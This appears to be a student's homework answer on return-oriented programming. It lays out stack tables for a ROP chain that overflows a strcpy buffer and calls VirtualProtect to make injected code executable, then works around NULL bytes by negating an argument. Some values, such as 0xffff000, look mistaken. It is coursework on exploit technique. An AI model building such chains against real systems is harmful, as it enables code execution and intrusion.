HW4 Dry:

1. Its possible to find this sequence even in a legitimate DLL as part of a longer sequence for example in the assembly instruction “`jmp 0xc364`” the opcode will result in “`e960c30000`” for which the automatic search can locate 60c3 in the middle of the command.

2. The first thing we need is to get the address of the location we wnat to jump to. To do that we need to reach [[0x70707070]+1B]. This can be done by setting ‘*nop*’s all the way from the strcmy’s buffer to the return address then given we know the address in the stack where our return address is we can mark it as A. draw the rest of the stack (with lower addresses at the bottom)

Stack (lower=bottom)		Reason
13	0x9ad9e716	// load [[0x70707070]+1B] to eax mov eax, DWORD PTR [eax+0Fh] ret
12	0x9ad9e711	inc eax //thirds part of add up to 1B-F ret
11	0x9ad9e711	inc eax //second part of add up to 1B-F ret
10	0x9ad9e709	mov ecx, eax //first part of add up to 1B-F add ecx, 0Ah mov eax, ecx ret
9	0x9ad9e716	mov eax, DWORD PTR [eax+0Fh] // load [0x70707070] to eax ret
8	0x15771690	//junk
7	0x15771690	//junk
6	0x15771690	//junk
5	0x9ad9e700	add eax,ebx //place load address in eax and junk in others pop ebx pop ecx pop ebx ret
4	0x9ad9e706	//clear eax for jump xor eax,eax

		ret
3	X+4 // make sure this is ebp	//Current ebp location to make sure it doesnt change when poped
2	0x70707061	//0x70707070-0x0F
1	0x9ad9e713	//load addres for first derefrence pop ebx pop ebp ret

Now that we have the address in eax we need to set up the parameters to call virtual protect to change the permissions.
To do that will add on top of the previous stack to following:

Stack (lower=bottom)		Reason
24	0x00201010	//arg 3 for Virtual protect indicates empty place to copy previous permissions to
23	0x40000040	//arg 2 for Virtual protect indicates permissions to chenge to
22	0x00001000	//arg 1 for Virtual protect indicates size of block to change
21	0x9ad9e71c	pushad //first push regs to bring eax to be arg0 of later call ret
20	0x9ad9e704	//will later use to get to sep to ebp's content
19	0x9ad9e71a	pop edi //place 0x9ad9e704 in edi ret
18	Virtual Protect Adress	//store there so that second pushad will place it inplace
17	0x9ad9e71c	//set up for second pushad
16	0x9ad9e703	//set ebx to VirtualProtect address and ecx to 0x9ad9e71c pop ecx pop ebx ret
15	0x9ad9e702	//after push we will use this to fill ebx and bring esp to where ecx will be
14	0x9ad9e714	pop ebp //place 0x9ad9e702 in ebp for later ret

To see that this stack’s ROP execution will result in a call to virtual protect we cal look at what the stack will change to once we reach execution of 21:
(esp points to the bottom of our stack when returning from the load and goes up by two , then by three then by two again. So we will reach the execution of 0x9ad9e71c (in 21) after executing 14,16, and 19in the order placed on the stack)

Stack (lower=bottom)		Reason
24	0x00201010	//arg 3 for Virtual protect indicates empty place to copy previous permissions to
23	0x40000040	//arg 2 for Virtual protect indicates permissions to chenge to
22	0x00001000	//arg 1 for Virtual protect indicates size of block to change
21	[[0x70707070]+1B] (eax)	//pushed by pushad
20	0x9ad9e71c (ecx)	// second call to ‘pushad’ to place eax as return value for Virtual Protect pushad ret
19	Junk (edx)	//unknown value left by pushad
18	Virtual Protect Adress (ebx)	//set up for when the second call of pushad moves this to be before eax
17	Esp before ‘pushad’	//value left by pushad
16	0x9ad9e702 (ebp)	// used to load VPA to ecx and move esp up 16 bytes pop ebx pop ecx pop ebx ret
15	Junk (esi)	//unknown value left by pushad
14	0x9ad9e704 (edi)	pop ebx //used to move esp up by 8 bytes ret

After the first ‘pushad’ call we will again have our esp point to the bottom this section (in the same place as before). We will again execute 14 then 16 then 20 and call 0x9ad9e71c. Then finally our stack will look like this: with esp pointing to 13

Stack (lower=bottom)		Reason
24	0x00201010	//arg 3 for Virtual protect indicates empty place to copy previous permissions to
23	0x40000040	//arg 2 for Virtual protect indicates permissions to chenge to
22	0x00001000	//arg 1 for Virtual protect indicates size of block to change
21	[[0x70707070]+1B] (eax)	//pushed by pushad
20	[0x70707070]+1B] (eax)	//pushed by second pushad
19	Virtual Protect Adress (ecx)	//ready to call Virtual protect with ret address eax and arguments 21-24
18	junk (edx)	//value left by pushad
17	junk (edx)	//value left by pushad
16	Esp before ‘pushad’	//value left by pushad
15	0x9ad9e702 (ebp)	pop ebx // used to move esp up 16 bytes pop ecx pop ebx ret
14	Junk (esi)	//unknown value left by pushad
13	0x9ad9e704 (edi)	pop ebx //used to move esp up by 8 bytes ret

Now our jumpto Virtual Protect is finally set up and we will have our esp pointg to 13 so is will execute 13 then 15 then 19 and jump to Virtual Protect.
When returning from Virtual Protect we will automatically jump to our code in the new page because its in the return address.

3. Our ROP didint work because in order to specify the size of the window we must have 4 consecutive 0’s however this will be interpreted but the Unicode strcpy as a NULL terminator and the string will cut off missing the last part of the permissions. Notice this wont be a problem with the the permission level argument because we chose to add the PAGE_TARGETS_NO_UPDATE option which wont damage our ability to run code but will also not have a problem with parsing 0’s siince we will get 0x4000 and 0x0040.

4. To fix this problem with the new gadget we can replace the 0x00001000 argument with its negative 0xffff000 and place the call to the new gadget as such:

Stack (lower=bottom)		Reason
25	0x00201010	//arg 3 for Virtual protect indicates empty place to copy previous permissions to
24	0x40000040	//arg 2 for Virtual protect indicates permissions to chenge to
23	0xffff000	//arg 1 for Virtual protect indicates size of block to change in negative
22	0x9ad9e71c	pushad //first push regs to bring eax to be arg0 of later call ret
21	0x6ad6e71d	//negte the argument back to its original form neg [esp + 04h] ret
20	0x9ad9e704	//will later use to get to sep to ebp's content
19	0x9ad9e71a	pop edi //place 0x9ad9e704 in edi ret
18	Virtual Protect Adress	//store there so that second pushad will place it inplace
17	0x9ad9e71c	//set up for second pushad
16	0x9ad9e703	//set ebx to VirtualProtect address and ecx to 0x9ad9e71c pop ecx pop ebx ret
15	0x9ad9e702	//after push we will use this to fill ebx and bring esp to where ecx will be
14	0x9ad9e714	pop ebp //place 0x9ad9e702 in ebp for later ret

The execution with remain the same as before only this time once 21 is executed the esp will be pointing at 22 and so esp+4 will point at the argument we want to switch back. From that point once we return and call pushad everything will continue as before and the ROP will work.